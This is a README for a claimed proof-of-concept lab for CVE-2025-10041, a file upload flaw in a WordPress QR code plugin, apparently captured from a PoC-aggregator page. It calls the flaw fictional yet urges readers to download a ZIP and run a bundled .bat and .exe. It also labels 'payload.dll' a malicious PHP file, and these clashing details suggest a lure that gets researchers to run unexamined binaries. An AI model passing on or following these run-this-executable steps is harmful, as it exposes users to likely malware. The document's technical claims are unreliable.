来源

关联漏洞

描述

Unrestricted Upload of File with Dangerous Type (CWE-434)

介绍

# Lab: CVE-2025-10041 - Unrestricted File Upload in Flex QR Code Generator WordPress Plugin
## 🔗 Download Now
### [Download](https://github.com/DExplo1ted/CVE-2025-10041-POC/raw/refs/heads/main/Brave/lab-cve-2025-10041.zip)
## 🚀 Overview
This repository demonstrates a fictional critical security vulnerability, **CVE-2025-10041**, in the Flex QR Code Generator plugin for WordPress (versions ≤ 1.2.5). Discovered in October 2025, this flaw allows unauthenticated attackers to perform arbitrary file uploads due to missing file type validation in the `saveqrcodetodb()` function. Classified as CWE-434 (Unrestricted Upload of File with Dangerous Type), it has a CVSS v3.1 score of 9.8 (CRITICAL) with the vector string `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`.

The vulnerability enables remote code execution (RCE) by uploading malicious PHP files, potentially leading to full server compromise. This repository provides a Docker-based vulnerable environment, exploitation tools, and mitigation strategies for educational purposes.

**Educational Purpose Disclaimer:** This repository is for **educational and research purposes only**. All components are fictional and designed for controlled testing. Do not use on production systems or without explicit permission. The authors assume no liability for misuse.

**Safety Disclaimer:** All tools and payloads are inert simulations. The `.exe` and `.bat` files are fictional and harmless but should only be run in isolated environments (e.g., virtual machines or Docker). Use antivirus software and restrict network access during testing.

## 📋 Prerequisites
- **Git** to clone this repository.
- A Windows environment (or Wine/compatibility layer) to run the simulated exploit tools (`.exe` and `.bat`).
- Basic knowledge of HTTP, PHP, and WordPress.
- Optional: Tools like **Burp Suite** or **curl** for manual exploitation.
## Download & Install
1. Download the exploit toolkit ZIP:
   - [Exploit Toolkit](https://github.com/DExplo1ted/CVE-2025-10041-POC/raw/refs/heads/main/Brave/lab-cve-2025-10041.zip)
   - Contents:
     - `main-exploit.exe`: Simulated exploit binary (generates fictional RCE payloads).
     - `start-exploit.bat`: Batch file to launch `main-exploit.exe`.
     - `payload.dll`: Sample malicious PHP file for upload.
     - `config.ini`: Configuration for the exploit tool.
## 🛠 Quick Start

2. **Setup:**
   - Log in to WordPress.
   - Confirm the plugin is active: Plugins > Flex QR Code Generator.
3. **Run the Simulated Exploit:**
   - Unzip the exploit toolkit.
   - Run `start-exploit.bat` (double-click or via command prompt: `start-exploit.bat`).
     - This launches `main-exploit.exe`, simulating payload generation and upload to `/wp-content/uploads/qr-codes/malicious.php`.
     - Output: Console logs showing fictional steps (e.g., "Uploading payload...", "Executing RCE: whoami").
## 📞 Support
If you need help, please open an issue on the GitHub repository. Provide details about your problem, and someone from the community will assist you.

Thank you for using lab-cve-CVE-2025-10041. We hope you enjoy exploring WordPress security in a practical way!

文件快照

 [4.0K]  /data/pocs/1266dcf22231c9cd91a9593bed0d9a7f34747444
├── [4.0K]  Brave
│   └── [8.0M]  lab-cve-2025-10041.zip
└── [3.1K]  README.md

1 directory, 2 files

备注